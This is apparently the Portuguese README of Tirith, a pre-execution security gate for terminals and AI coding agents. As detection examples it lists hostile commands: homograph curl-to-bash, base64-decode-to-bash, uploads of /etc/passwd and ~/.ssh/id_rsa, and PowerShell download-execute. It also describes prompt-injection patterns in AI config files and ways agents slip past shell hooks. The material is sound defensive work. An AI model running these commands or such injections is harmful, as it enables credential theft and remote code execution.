Você não consegue. Seu terminal também não. Ambos os caracteres `і` são cirílicos (U+0456), não o `i` latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.

Os navegadores resolveram isso anos atrás. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.

**O Tirith fica no portão.** Ele intercepta comandos, conteúdo colado e arquivos verificados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de inteligência de ameaças assinado antes que sejam executados.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a `$SHELL` se necessário). A flag explícita `--shell` só é necessária quando quiser substituir a deteção.

É tudo no que diz respeito à cobertura de shell interativo. Os comandos aceites por esse shell são
verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende
do shell e do modo. Execute `tirith doctor` após a instalação e atualizações, e
leia [enforcement by shell](#enforcement-by-shell) antes de tratar o hook como
uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o
caminho rápido.

Também disponível via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), e [mais](#install).

---

## Veja a funcionar

**Ataque homográfico, bloqueado antes da execução:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Aviso é impresso em stderr. O comando ainda é executado.

**Cadeia de decodificação-execução Base64, bloqueada:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Cobre todas as flags de upload do curl/wget, variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`) e substituição de comandos.

**Arquivo de skill malicioso, detectado na varredura:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nada. Saída zero. Você esquece que o tirith está em execução.

---

## O que ele detecta

**244 regras de detecção em 35 categorias.**

| Categoria | O que ele impede |
|----------|--------------|
| **Ataques homográficos** | Semelhantes cirílicos/grego em nomes de host, domínios punycode, rótulos de script misto, TLDs semelhantes, domínios confundíveis, detecção de confundíveis em nível de texto (alfanuméricos matemáticos, mesma palavra em script misto) |
| **Injeção em terminal** | Sequências de escape ANSI, sobrescritas bidi, caracteres de largura zero, tags unicode, operadores matemáticos invisíveis, seletores de variação, preenchedores Hangul |
| **Defesa contra esteganografia** | Codificação invisível em espaços em branco (12 variantes de espaço Unicode), Separador de Vogal Mongol, caracteres Hangul Filler, substituição alfanumérica matemática, defesas contra esteganografia de texto no estilo st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, além de muitos caminhos de wrapper, decodificação e indireção |
| **Decodificação-execução Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadeias de decodificação através de wrappers sudo/env |
| **Exfiltração de dados** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, uploads de variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`), exfiltração por substituição de comando |
| **Varredura de arquivos de código** | Payloads ofuscados (`eval(atob(...))`), execução dinâmica de código (`exec(b64decode(...))`), exfiltração de segredos via `fetch`/`requests.post` em arquivos JS/Python |
| **Detecção de credenciais** | Chaves AWS, PATs do GitHub, tokens Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocos de chave privada, além de detecção genérica de segredos baseada em entropia |
| **Comportamento pós-comprometimento** | Raspagem de memória de processos (`/proc/*/mem`), escalação de privilégios remota via Docker, varreduras de arquivos de credenciais, calibrado contra ferramentas pós-comprometimento TeamPCP e UNC1069 |
| **Segurança de comandos** | Sobrescritas de dotfiles, extração de arquivos para caminhos sensíveis, acesso a endpoint de metadados de nuvem, acesso a rede privada |
| **Transporte inseguro** | HTTP simples canalizado para shell, `curl -k`, verificação TLS desabilitada, URLs encurtadas ocultando destinos |
| **Ambiente** | Sequestro de proxy, exportações de env sensíveis, injeção de código via env, sequestro de interpretador, env de injeção de shell |
| **Segurança de arquivos de configuração** | Injeção de configuração, indicadores suspeitos, unicode não-ASCII/invisível em configurações, segurança de servidor MCP (inseguro/não confiável/duplicado/permissivo) |
| **Ameaças de ecossistema** | Typosquats de git clone, registros Docker não confiáveis, instalações via URL pip/npm, endpoints RPC web3, vet-not-configured |
| **Segurança de comandos de instalação** | Repositórios APT adicionados a partir de download canalizado, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificações de assinatura desabilitadas), `kubectl apply -f` contra manifestos remotos brutos/encurtados, Helm charts de repositórios não confiáveis, módulos Terraform de fontes remotas não confiáveis, `brew install`/`tap` de URLs arbitrárias |
| **Análise de caminho** | Caminhos não-ASCII, homoglifos em caminhos, codificação dupla |
| **Conteúdo renderizado** | Conteúdo oculto em CSS/cor, atributos HTML ocultos, análise de conteúdo de comentários (injeção de prompt em High, comandos destrutivos em Medium) |
| **Detecção de cloaking** | Cloaking do lado do servidor (bot vs navegador), conteúdo oculto na área de transferência, texto oculto em PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusões do Windows Defender (`Add-MpPreference -Exclusion*`), download-execução inline `iex (iwr ...)` |
| **Defesa de saída de terminal** | Escritas na área de transferência OSC 52, prompts falsos, manipulação de hiperlink e título OSC 8 / limpeza de tela, injeção de prompt dentro de saída de comando ou ferramenta MCP (escaneada tanto bruta quanto desofuscada, de modo que evasões com caracteres invisíveis, confundíveis, espaçados, leetspeak e base64 / hex curto também são capturadas), e exfiltração de dados de saída (URLs de beacon ou diretivas "leia um segredo e envie-o") |
| **Contexto operacional** | Comandos destrutivos contra contextos de nuvem / k8s rotulados como prod e hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sem um plano salvo correspondente, escalação sudo arriscada, `docker run` privilegiado |
| **Estação de trabalho e persistência** | Arquivos de credenciais com permissões frouxas e tokens em texto simples (`~/.ssh`, `~/.aws`, `.npmrc`), pontos de apoio de persistência (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` do git), ordenação de sequestro de PATH, proveniência de executáveis, aliases arriscados e ciclo de vida de variáveis de ambiente sensíveis |
| **Raio de impacto e correlação** | Exclusões que escapam do repositório, exclusões em massa, execução de arquivos baixados de fontes arriscadas e cadeias de sessão como escrita de segredo seguida de rede ou exclusão seguida de `git push --force` |
| **Confiança, atestação e proveniência** | Incompatibilidade de cartão de comando assinado, toques em honeytoken canário, incompatibilidade de host de origem de colagem, negações de política de origem do chamador (agente), desvio de lockfile MCP e desvio de configuração de IA em relação a um snapshot conhecido como seguro |
| **Guarda de comandos Web3** | Escritas on-chain de comandos Cast / Forge / Hardhat / Solana / Anchor (High quando o mesmo comando também desabilita um controle de segurança declarado), material de chave privada, keypair ou mnemonic bruto na linha de comando, e um endpoint RPC ou signer que a política `web3_guard` do operador não confia. Apenas gramática e política: nenhum estado de cadeia é lido, nenhuma transação é simulada e nenhum endereço é pontuado |
| **Exfiltração de carteira** | Material revisado de carteira, keystore, carteira de navegador e keypair Solana fluindo para um destino remoto comprovado, incluindo saltos de preparação por arquivo, base64, hex, compressor e criptografador e promoção de operandos `xargs` / `find -exec`. Uma leitura apenas de origem deliberadamente não é uma descoberta |
| **Envenenamento de artefatos de CI** | Um workflow alcançável por fork que faz upload de um artefato de build, consumido por um workflow privilegiado `workflow_run` vinculado à execução acionadora que então o executa, obtém como fonte, modifica o PATH, publica ou implanta |

---

## Contra o que o tirith NÃO protege

O Tirith analisa a **estrutura** de comandos, texto colado e arquivos antes
que eles executem. É um portão de pré-execução, não uma defesa em tempo de execução, e não
cobre:

- **Sandboxing geral em tempo de execução:** hooks de shell comuns e `tirith check` avisam
  ou bloqueiam; eles não isolam um comando após o lançamento. Os caminhos explícitos
  `capsule run --preset untrusted-project` e a aplicação de `pkg install`
  fornecem contenção fail-closed apenas em hosts Linux x86_64 suportados.
- **Monitoramento de rede pós-execução:** o que um processo faz na rede após
  o lançamento está fora do escopo.
- **Detecção geral de malware / payload:** o tirith não é um antivírus e não
  detona um payload. Ele analisa a estrutura e pode corresponder a indicadores exatos
  e hashes de artefatos/arquivos do banco de dados de ameaças assinado, mas um
  payload desconhecido não é provado benigno pela ausência de correspondência. (`tirith run` verifica
  a estrutura de um script baixado; ainda não é análise dinâmica de malware.)
- **Um atacante privilegiado root/admin:** qualquer um que já seja root ou admin pode contornar
  o tirith trivialmente. Ele se defende contra entrada enganada, não contra um atacante que já
  possui a máquina.
- **Anti-debugging / anti-adulteração:** o tirith não resiste a engenharia reversa
  nem protege seu próprio binário de um atacante local.
- **Análise on-chain:** a guarda Web3 lê a gramática de comandos. Ela não lê
  estado de cadeia, simula uma transação, resolve ENS, pontua um endereço, audita um
  contrato ou observa um mempool.
- **Um firewall de artefatos npm:** o tirith analisa a gramática de comandos npm e fatos de
  identidade do registro, e pode perguntar ao próprio npm do projeto seu estado de assinatura e
  proveniência. Ele não baixa, extrai, coloca em quarentena ou vincula os
  bytes do tarball que o npm instala. O firewall de artefatos contido e fixado por hash é
  apenas para Python.
- **Forense ou monitoramento de navegador:** `tirith browser audit` é uma auditoria explícita,
  única e somente leitura da integridade de árvores de código-fonte de extensões. Ela nunca lê
  cookies, histórico, senhas salvas, armazenamento, bancos de dados de carteira ou `Local
  State`, nunca remove ou coloca nada em quarentena e não tem daemon.
- **Builds reproduzíveis:** um recibo `attest` registra o que duas árvores continham
  em um momento. O Tirith não executa seu build e não pode afirmar que a saída veio
  da fonte. Um recibo de implantação é uma medição pontual, não
  monitoramento contínuo.

Veja [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) para o modelo de ameaças completo e
não-objetivos explícitos, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) para um
registro capacidade por capacidade do que o tirith detecta, decide, aplica,
contém e atesta.

---

## Limitações conhecidas

- **Fragilidade do hook de shell:** a proteção depende de um hook de shell permanecer instalado
  e ativo. Hooks podem quebrar ou degradar silenciosamente entre shells, versões de shell,
  frameworks de prompt e ferramentas de histórico. Execute `tirith doctor` para verificar o estado ao vivo
  e fique atento à degradação apenas com aviso.
- **Armazenamento temporário cheio ou somente leitura:** zsh e fish capturam entrada através de um
  arquivo de rascunho antes de invocar o Tirith e falham fechados quando esse arquivo não pode ser
  criado. Um `TMPDIR` cheio/somente leitura pode, portanto, recusar todos os comandos, e
  `TIRITH=0` não pode recuperar porque o binário nunca é alcançado. Siga os
  passos de recuperação em [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Recursos limitados por plataforma:** o modo daemon, `tirith run` e `tirith fetch`
  são superfícies Unix. `tirith run --no-exec` permanece um fluxo de trabalho de inspeção
  lá, mas a execução remota de script ao vivo é apenas Linux e recusa antes
  do download em todos os outros hosts. `tirith setup` é multiplataforma, enquanto cada
  integração de host tem seu próprio contrato de plataforma (por exemplo, Cline tem wrappers
  POSIX e Windows; o hook de bloqueio do OpenHands é apenas Unix).
- **Escopo de extração de nomes de pacotes:** cobre ecossistemas de linguagem (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), não gerenciadores de pacotes
  de distribuição (`apt`, `dnf`, `yum`, `pacman`).
- **Ressalvas sobre agentes de IA:** a interceptação por hook de shell só protege comandos que passam
  por um shell interativo com hook. Um agente que gera um shell não interativo, chama `exec`
  diretamente ou executa sem o hook carregado não é coberto
  por essa camada. O registro MCP é cooperativo, a menos que as chamadas sejam roteadas
  pelo gateway. Um hook pré-ferramenta suportado pode automaticamente retter um
  comando do host, mas apenas quando esse host o carregou e o honrou; vários hosts
  falham abertos quando um processo de hook dá erro. Verifique o host efetivo, não apenas a
  presença de um arquivo de configuração.
- **Comportamento de falha do hook de host:** Grok Build, Cline e OpenHands permitem a
  ferramenta quando seu processo de hook trava ou expira. O adaptador do Tirith nega em
  seus próprios erros por padrão, mas não pode fazer um host honrar um processo que
  não retornou. Execute novamente a configuração se um interpretador fixado se mover e teste o host real
  após cada atualização.
- **Prime Agent IPython é extração em nível de código-fonte:** a guarda cobre escapes/magics de shell
  e formas comuns de `os`, `subprocess` e `pty.spawn`, mas não é
  um sandbox de tempo de execução Python. Um wrapper definido em uma célula anterior,
  reflexão como `getattr`/`__import__`, ou um pacote de terceiros que
  gera um processo pode escapar do que um lexer de código-fonte pode provar.
- **Custom-DLP e saída de máquina:** `dlp_custom_patterns` amplos podem atualmente
  reescrever valores de string pertencentes ao protocolo em projeções JSON/MCP recursivamente redigidas,
  incluindo identificadores gerados ou metadados de recibo. Evite
  padrões que possam corresponder a valores estruturais ao consumir saída assinada ou
  estável para máquina; isso precisa de redação ciente de campo antes do lançamento.
- **Aprovação de instalação não assistida:** `tirith install --yes` é aceito como o
  canal `require_approval` não assistido do portão de tarefa do gerenciador de pacotes. É uma
  flag explícita do operador, não prova de confirmação humana em TTY. Use uma política de tarefa
  de bloqueio onde a execução não assistida deve ser impossível.
- **Vinculação MCP interpretada:** a vinculação exata de servidor interpretado faz hash da
  árvore do repositório sob limites fixos em vez de descobrir um verdadeiro fechamento de dependências,
  então árvores grandes, symlinks ou arquivos especiais podem recusar o lançamento. Ela
  revalida antes do spawn, mas não executa entradas de interpretador a partir de descritores
  revisados selados; mutação concorrente do mesmo usuário permanece uma lacuna de verificação até o carregamento.
- **Cobertura do portão de tarefas:** a inferência de efeitos de tarefa modela a gramática de shell Web3
  e nada mais, então quase todo comando SHELL comum é relatado
  INCOMPLETE. `task_gate.mode: enforce` com `action_incomplete_analysis: block`
  recusa esses nos cinco limites que submetem um envelope de shell, e não muda
  nada nos quatro limites de pacote e escrita de configuração, que sempre avaliam
  como completos. `warn` é o padrão. A alternativa,
  `effects_denied_for_untrusted_sources`, nega o efeito nomeado em cada chamada
  em cada limite possuído, incluindo comandos que você mesmo digitou, porque nenhuma
  fonte nesses limites é jamais tratada como confiável.
- **A contenção é Linux x86_64:** `tirith capsule run --preset
  untrusted-project` e a aplicação de `tirith pkg install` são aplicáveis apenas em
  Linux x86_64 com uma ABI Landlock utilizável. Todos os outros hosts recusam antes
  que qualquer coisa seja copiada ou gerada, sem fallback degradado. A lista de permissões de domínio
  não é oferecida por nenhum backend.
- **Lacuna de exfiltração em shell aninhado:** uma leitura sensível dentro de um corpo de shell aninhado
  cujo destino está fora dele, como `bash -c "cat <wallet>" | curl -d @- <url>`,
  não é correlacionada hoje. A mesma cadeia inteiramente dentro ou inteiramente fora do
  corpo `-c` é detectada.
- **Graus de evidência de execução:** um lançamento Linux é confirmado apenas após sua
  transição `exec` interrompida, atualização de estado durável, retomada autorizada e
  prova do lançador de terminal todas concluídas. Uma chamada de gateway é confirmada apenas por um
  resultado correlacionado exato. Observações de shell e chamadas de gateway encaminhadas que
  expiram ou são canceladas permanecem evidência não resolvida conservadora, nunca
  execução confirmada. Recibos de shell estritos estão disponíveis para bash, zsh e fish
  interativos; PowerShell permanece apenas de pré-voo. O comportamento nativo do lançador Linux
  deve ser verificado por CI Linux ou um host Linux nativo; nem cobertura portátil
  de código-fonte/unitária nem um build macOS podem substituir.
- **Lacunas de cobertura Web3:** `forge create` ainda não está modelado em superfícies de engine;
  vários campos declarados de `web3_guard` são analisados mas não aplicados; e
  vinculações Web3 de cartão de comando schema-2 ainda não têm um caminho de autoria de CLI ou
  consumo de engine ao vivo. Trate isso como lacunas conhecidas, não autorização silenciosa.

---

## Inteligência de ameaças

O Tirith inclui um banco de dados de ameaças local assinado para reputação de pacotes, nomes de host e IPs. Quando um hook de shell ou `tirith check` vê uma instalação de pacote ou referência de infraestrutura suspeita, ele corresponde essa entrada ao banco de dados antes que o comando execute, em vez de depender apenas de heurísticas estáticas.

**DB assinado** (construído por CI, verificado no download e no carregamento):

- Pacotes conhecidos como maliciosos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestrutura de IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados e baselines de pacotes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlação de avisos em tempo de execução

O ThreatDB v2 adiciona valores exatos de SHA-256 de artefatos, hashes de arquivos instalados,
URLs maliciosas, associação a campanhas e tags de comportamento. O índice assinado,
atualizador, compilador e carregador suportam v1 e v2 durante a transição faseada,
rejeitam rollback de sequência, publicam transacionalmente e retêm um banco de dados
último-conhecido-bom assinado quando uma atualização está incompleta ou inválida. A
fonte DigitalSide está implementada mas intencionalmente inativa até que sua
frescor e contrato operacional sejam aprovados.

**Feeds suplementares opcionais** (sobreposição local do usuário):

- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) via uma chave de autenticação abuse.ch
- Listas de bloqueio [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Lista de nós de saída Tor do [Tor Project](https://www.torproject.org/)

**Enriquecimento ao vivo opcional** durante `tirith check` e modo daemon:

- Consultas de avisos [OSV.dev](https://osv.dev/) (Google OSS)
- Sinais de saúde de pacotes [deps.dev](https://deps.dev/) (Google OSS) e dados de mantenedores [ecosyste.ms](https://ecosyste.ms/)
- Reputação de URL do [Google Safe Browsing](https://safebrowsing.google.com/) com sua própria chave de API```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**Offline por padrão.** Sem nenhuma flag, todo sinal é local, sem nenhuma chamada de rede: (1) **nome vs. pacotes populares**: conhecido-popular, desconhecido, ou um quase-acerto de uma edição de um nome popular (a clássica forma de typosquat/slopsquat), a partir do conjunto `popular` do banco de dados local de ameaças; (2) **typosquat malicioso conhecido**: uma correspondência exata no índice `typosquat` do banco de dados de ameaças; (3) **scripts de instalação / ciclo de vida** e (4) **blobs binários empacotados**, detectados apenas quando o conteúdo do pacote está disponível localmente (sob `node_modules` / `site-packages`, ou via `--path`). O tirith **nunca baixa** o pacote.

**`--online` adiciona proveniência do registro.** Ele consulta o registro do pacote (npm, PyPI ou crates.io) para seis fatores adicionais no *mesmo* modelo de soma de fatores: idade do pacote/versão, um pacote estabelecido sem proprietários, um pico anormal de versão, downloads muito baixos, um repositório de origem ausente e status yanked/deprecated. É o único caminho no qual o próprio `package risk` acessa a rede; `tirith check` e o modo daemon têm um caminho separado de enriquecimento em tempo de execução controlado por política. `--offline` / `TIRITH_OFFLINE` forçam este scorer a ficar offline independentemente disso. Falhas recorrem à pontuação offline com um honesto `api signals: unavailable`, e as respostas são armazenadas em cache com um TTL para que execuções repetidas não sobrecarreguem os registros.

A pontuação é consultiva e independente: `package risk` não é uma regra de detecção e não altera nenhum veredito, código de saída ou log de auditoria.

### Varredura de ecossistema e risco de dependências

`tirith ecosystem scan [path]` é o companheiro em nível de diretório do `package risk`. Ele percorre um projeto, descobre todo manifesto de dependência que ele entende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e pontua **toda dependência declarada** com o mesmo motor determinístico de fatores `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

A inspeção cobre a estrutura e a identidade do wheel, a integridade do RECORD e a propriedade de arquivos, hooks de inicialização do Python, extensões nativas ELF/Mach-O/PE, arestas de execução e divisões loader/payload entre distribuições. `pkg graph`, `pkg diff`, `pkg attest` e `pkg receipt` expõem a proveniência correspondente e as evidências de recibo.

O caminho de aplicação suporta **pip apenas em x86_64 Linux** e requer a autoridade nativa documentada, um diretório de destino recém-dedicado e um `uv` nativo totalmente estático registrado. Toda plataforma não suportada falha de forma fechada antes do pip iniciar; nunca recorre a uma instalação comum. npm e Cargo permanecem superfícies de evidência não-aplicáveis. Consulte as
[notas de versão 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) e a
[referência de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Famílias de ataque para as quais o tirith foi construído** (ilustrativo, não uma alegação de detecção pelo código atual):

| Incidente | Ano | Forma do ataque |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Malware de pacote auto-propagável; exfiltrou tokens do GitHub e chaves da AWS de mais de 180 pacotes, publicou descobertas em repositórios públicos `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 até o presente | Atacantes registram nomes de pacotes alucinados por LLM no npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) descobriu que 58% dos nomes alucinados se repetem entre execuções |
| Ferramentas do Team PCP / UNC1069 | em andamento | Varreduras de credenciais pós-comprometimento, raspagem de `/proc/*/mem`, escalada de privilégios no Docker |
| [Sabotagem do colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Auto-sabotagem do autor de pacotes amplamente utilizados |
| [Comprometimento do event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferência de propriedade para o atacante; payload direcionado a carteiras Bitcoin |

A extração de nomes de pacotes atualmente cobre ecossistemas de linguagem (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), não gerenciadores de pacotes de nível de distribuição (`apt` / `dnf` / `yum` / `pacman`). É por isso que o xz-utils, que entrou por meio de tarballs de distribuições Linux, não está na tabela apesar de ser um incidente de grande destaque.

---

## Segurança de agentes de IA

O Tirith adiciona várias camadas de proteção independentes em torno de agentes de codificação de IA:
varredura de configuração, ferramentas MCP cooperativas, um gateway MCP, hooks de
shell interativo e hooks pré-ferramenta nativos do host onde o host expõe um
contrato de bloqueio documentado. A cobertura depende de qual camada o host realmente carrega.

### Hooks de shell, interceptação passiva de comandos

Quando um agente de IA executa por meio de um shell interativo com hook (Claude Code,
Codex, Cursor, etc.), o hook de shell do tirith verifica esse comando interativo antes
que o shell o aceite. Isso não cobre um shell não interativo, um `exec` direto
ou um processo de agente que nunca carregou o hook:

- **Bloqueia comandos perigosos**: URLs homógrafas, pipe-to-shell, downloads inseguros
- **Bloqueia colagem maliciosa**: injeção ANSI, ataques bidi, multilinha oculto em conteúdo colado
- **Portão interativo independente de agente**: nenhuma integração específica de agente é
  necessária quando esse agente realmente usa o shell interativo protegido
- **Zero modificação do agente**: o agente não sabe que o tirith existe até que um comando seja bloqueado

Use `tirith setup <tool>` para configuração em um único comando (consulte [Integrações com Agentes de IA](#ai-agent-integrations)).

### Servidor MCP (6 ferramentas multiplataforma; 7 no Unix)

Execute `tirith mcp-server` ou use `tirith setup <tool> --with-mcp` para registrar o tirith como um servidor MCP. Agentes de IA podem chamar estas ferramentas antes de agir:

| Ferramenta | O que faz |
|------|-------------|
| `tirith_check_command` | Analisa comandos de shell em busca de pipe-to-shell, URLs homógrafas, injeção de env |
| `tirith_check_url` | Pontua URLs para ataques homógrafos, truques de punycode, URLs encurtadas, IPs brutos |
| `tirith_check_paste` | Verifica conteúdo colado em busca de escapes ANSI, controles bidi, caracteres de largura zero |
| `tirith_scan_file` | Escaneia um arquivo em busca de conteúdo oculto, Unicode invisível, envenenamento de configuração |
| `tirith_scan_directory` | Varredura recursiva com priorização de arquivos de configuração de IA |
| `tirith_verify_mcp_config` | Valida configurações MCP em busca de servidores inseguros, injeção de shell em args, ferramentas curinga |
| `tirith_fetch_cloaking` | Detecta cloaking do lado do servidor (conteúdo diferente para bots vs navegadores) |

O `tools/list` padrão é um contrato de compatibilidade congelado, porque os clientes
o armazenam em cache e uma ferramenta que aparece sem aviso muda o que um agente acredita que
pode chamar. Uma ferramenta de pré-visualização, `tirith_check_task`, portanto **não é anunciada por
padrão**: execute `TIRITH_MCP_PREVIEW=1 tirith mcp-server` para anunciá-la, e
sem essa adesão opcional um cliente que a chama pelo nome é recusado pelo nome. Consulte
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### Governança do servidor MCP

`tirith mcp lock` captura cada servidor MCP que um repositório declara, em `.mcp.json` / `mcp.json` / `mcp_settings.json` e nas variantes de configuração de IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), em um lockfile determinístico em `.tirith/mcp.lock`. Cada servidor é registrado com seu transporte (uma URL remota, ou um comando local + args), ferramentas declaradas, metadados de cobertura e um hash de conteúdo; os servidores são ordenados por nome/origem para que o lockfile seja amigável a diff. Declarações ambíguas ou que contêm credenciais são recusadas em vez de copiadas para o controle de código-fonte. Valores de ambiente e userinfo de URL são representados apenas por marcadores de presença fixos, nunca por valores brutos ou hashes determinísticos: adicionar/remover uma variável ou userinfo ainda gera drift, enquanto a rotação de segredos intencionalmente não. Lockfiles V7 exigem um re-lock explícito para migrar para este modelo de privacidade v8. A descoberta é apenas local ao repositório e não toca a rede. (`tirith mcp` é um grupo de comandos separado de `tirith mcp-server`, que executa o tirith *como* um servidor MCP.)

`tirith mcp verify` é o companheiro de controle: ele reconstrói o inventário atual em relação ao lockfile commitado e sai com 1 em caso de drift ou cobertura de configuração incompleta/recusada (0 correspondência, 2 em erros de uso como um lockfile ausente). `tirith mcp diff` relata o mesmo drift de forma informativa (sempre sai com 0, 2 apenas em erros de uso, para que um consumidor possa distinguir "sem drift" de "não foi possível verificar"). O drift também aparece por meio de `tirith scan` como `mcp_server_drift` (Médio ou Alto), para que um hook de pré-commit ou CI capture uma mudança na superfície MCP da mesma forma que captura uma action não fixada. `verify` / `diff` nunca imprimem valores de env ou userinfos de URL, apenas os nomes do que mudou.

Dois campos de política governam o que é aceito. Ambos são indexados por uma identidade opaca `mcp:v1:...` que vincula caminho de origem, nome do servidor e transporte: `scan.trusted_mcp_servers` suprime as descobertas de configuração e o drift desse servidor exato, enquanto `scan.mcp_allowed_tools` declara as ferramentas exatas que ele pode expor. Nomes simples intencionalmente não correspondem a nada, para que um servidor de mesmo nome em outra configuração não possa herdar confiança. Uma lista de permissões explícita de ferramentas também requer um conjunto de descritores ao vivo aprovado por operador e verifica tanto declarações estáticas quanto nomes de descritores ao vivo. Execute `tirith mcp policy init` para criar as chaves exatas em `.tirith/mcp-policy.yaml.example`, depois use o fluxo `--mcp-server-identity ... --approve-descriptors` do gateway para capturar uma linha de base `tools/list` inspecionada atomicamente. Cada entrada de scaffold é comentada para que a importação nunca amplie a confiança silenciosamente.

### Varredura de arquivos de configuração

`tirith scan` detecta injeção de prompt e payloads ocultos em arquivos de configuração de IA. Ele prioriza e escaneia mais de 50 padrões conhecidos de arquivos de configuração de IA:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Configurações, agentes, skills, plugins, regras de `.claude/`
- Configurações de `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**O que ele detecta em configurações:**

- **Injeção de prompt** (gatilhos de ativação de skill, tentativas de contorno de permissão, dispensa de segurança, reatribuição de identidade, instruções de substituição entre ferramentas). Cada arquivo é escaneado tanto bruto quanto desofuscado (caracteres invisíveis, confusáveis, espaçamento entre caracteres, leetspeak, base64 / hex curto), para que uma semente oculta atrás de codificação ainda dispare
- **Unicode invisível**: caracteres de largura zero (incluindo Mongolian Vowel Separator), controles bidi, hífens suaves, tags Unicode, preenchedores Hangul, codificação de espaço em branco invisível, confusáveis alfanuméricos matemáticos
- **Problemas de configuração MCP**: conexões HTTP inseguras, servidores com IP bruto, metacaracteres de shell em args, nomes de servidor duplicados, acesso a ferramentas curinga

### Varredura de cadeia de suprimentos de CI / repositório

`tirith scan` também inspeciona os arquivos que um repositório versiona para descrever seu próprio pipeline de build e implantação. Ele detecta o *padrão* perigoso, não a ferramenta: uma action fixada por SHA, uma imagem fixada por digest, um módulo Terraform local e um `package.json` normal permanecem limpos.

**O que ele detecta em arquivos de CI / infraestrutura:**

- **Workflows do GitHub Actions** (`.github/workflows/*.yml`), uma referência `uses:` de action fixada em uma ref mutável (`@v3`, `@main`) em vez de um commit SHA; o gatilho `pull_request_target`; um pipe-to-shell `curl … | bash` em um passo `run:`; um valor `${{ github.event.* }}` controlável pelo atacante interpolado em um passo de shell `run:` (injeção de script)
- **Dockerfiles**: uma imagem base `FROM` na tag mutável `latest` (ou sem tag) sem fixação de digest `@sha256:`
